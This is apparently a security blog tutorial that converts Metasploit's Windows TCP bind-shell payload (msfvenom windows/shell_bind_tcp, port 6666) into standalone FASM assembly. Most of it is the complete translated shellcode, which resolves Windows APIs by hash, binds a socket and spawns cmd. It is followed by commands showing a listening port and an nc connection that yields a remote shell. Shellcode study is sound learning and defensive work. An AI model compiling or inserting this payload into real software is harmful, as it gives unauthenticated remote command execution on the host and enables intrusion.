Converting win shellcode from msfvenom to FASM
Intro
During the last couple of weeks I started focusing more and more on windows internals and the way shellcode is crafted for the different windows platforms. There are many good windows shellcodes examples available out for grabs on the internet, but some of them are written in MASM or others are not so keen having a small memory footprint. Hence, I decided to focus on probably the best shellcode actively mantained repository: msfvenom. We can then dump the raw assembly from msfvenom shellcode and try porting it to a standard assembler, such as FASM.
Why FASM?
- Has no linker –> just a single building step
- So compiles faster
- Maintained by an active community
- It’s cross platform.
Pick your shellcode
I have opted for the simplest tcp bindshell available in msfvenom. By redirecting the raw format to stdout we can thentrigger ndisasm to dump the x86 assembly deadlisting.
# msfvenom -p windows/shell_bind_tcp LPORT=6666 -f raw | ndisasm -u -
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 328 bytes
00000000 FC cld
00000001 E882000000 call 0x88
00000006 60 pusha
[...snip...]
00000143 6A00 push byte +0x0
00000145 53 push ebx
00000146 FFD5 call ebp
The -u
tells ndisasm to expect 32-bit mode assembly, while the -
listen on stdin instead of a file.
From deadlisting to a standalone FASM
With a few syntax modifications, we could just compile the raw ndisasm assembly into a raw binary, but why not building a standalone PE that can be easily ran and tested with a debuggers?
First, we need to translate the following syntax and constructs.
Examples:
ndisasm: FASM:
----------------- -----------------
push byte +0x8 push 0x8
jl 0x143 jl sub6 ; label 'sub6' created at offset 0x143
loop 0x1e loop loop1; label 'loop1' created at offset 0x1e
call 0x8 call first; label 'first' created at offset 0x8
The bottom line is that we should remove all the hardcoded relative addressing and replace them with labels.
Finally, we need a proper header, so that the assembler will generate a proper PE with all the bells and whistles.
format PE console
use32
Time to test
Here is the resulting shellcode, after all the syntax translations and labelling,
format PE console
use32
entry start
start:
;find kernel32
call first
pusha
mov ebp,esp
xor eax,eax
mov edx,[fs:eax+0x30]
mov edx,[edx+0xc]
mov edx,[edx+0x14]
sub5:
mov esi,[edx+0x28]
movzx ecx,word [edx+0x26]
xor edi,edi
loop1: lodsb
cmp al,0x61
jl sub7
sub al,0x20
sub7:
ror edi,byte 0xd
add edi,eax
loop loop1
push edx
push edi
mov edx,[edx+0x10]
mov ecx,[edx+0x3c]
mov ecx,[ecx+edx+0x78]
jecxz sub1
add ecx,edx
push ecx
mov ebx,[ecx+0x20]
add ebx,edx
mov ecx,[ecx+0x18]
sub4:
jecxz sub2
dec ecx
mov esi,[ebx+ecx*4]
add esi,edx
xor edi,edi
sub3:
lodsb
ror edi,byte 0xd
add edi,eax
cmp al,ah
jnz sub3
add edi,[ebp-0x8]
cmp edi,[ebp+0x24]
jnz sub4
pop eax
mov ebx,[eax+0x24]
add ebx,edx
mov cx,[ebx+ecx*2]
mov ebx,[eax+0x1c]
add ebx,edx
mov eax,[ebx+ecx*4]
add eax,edx
mov [esp+0x24],eax
pop ebx
pop ebx
popa
pop ecx
pop edx
push ecx
jmp eax
sub2:
pop edi
sub1:
pop edi
pop edx
mov edx,[edx]
jmp short sub5
first: pop ebp
push dword 0x3233
push dword 0x5f327377
push esp
push dword 0x726774c
call ebp
mov eax,0x190
sub esp,eax
push esp
push eax
push dword 0x6b8029
call ebp
push 0x8
pop ecx
loop2:
push eax
loop loop2
inc eax
push eax
inc eax
push eax
push dword 0xe0df0fea
call ebp
xchg eax,edi
push dword 0xa1a0002 ; port 6666: 1a0a AF_INET:2
mov esi,esp
push 0x10
push esi
push edi
push dword 0x6737dbc2
call ebp
push edi
push dword 0xff38e9b7
call ebp
push edi
push dword 0xe13bec74
call ebp
push edi
xchg eax,edi
push dword 0x614d6e75
call ebp
push dword 0x646d63
mov ebx,esp
push edi
push edi
push edi
xor esi,esi
push 0x12
pop ecx
loop3:
push esi
loop loop3
mov word [esp+0x3c],0x101
lea eax,[esp+0x10]
mov byte [eax],0x44
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push dword 0x863fcc79
call ebp
mov eax,esp
dec esi
push esi
inc esi
push dword [eax]
push dword 0x601d8708
call ebp
mov ebx,0x56a2b5f0
push dword 0x9dbd95a6
call ebp
cmp al,0x6
jl sub6
cmp bl,0xe0
jnz sub6
mov ebx,0x6f721347
sub6:
push 0x0
push ebx
call ebp
We can now compile&run and verify that we have a listening port.
C:\Windows\system32>netstat -ano | find "6666"
TCP 0.0.0.0:6666 0.0.0.0:0 LISTENING 6796
And a reachable shell
matteo-mbp:~ matteo$ nc 172.16.165.220 6666
Microsoft Windows [Version 10.0.18362.113]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\matteo\Desktop>
As my great colleague Stian Jahr pointend out, there is a simpler way to achieve all of the above, just with a simple fasm script :)
include 'win32ax.inc' ; you can simply switch between win32ax, win32wx, win64ax and win64wx here
.code
start:
file "shellcode.bin" ;
.end start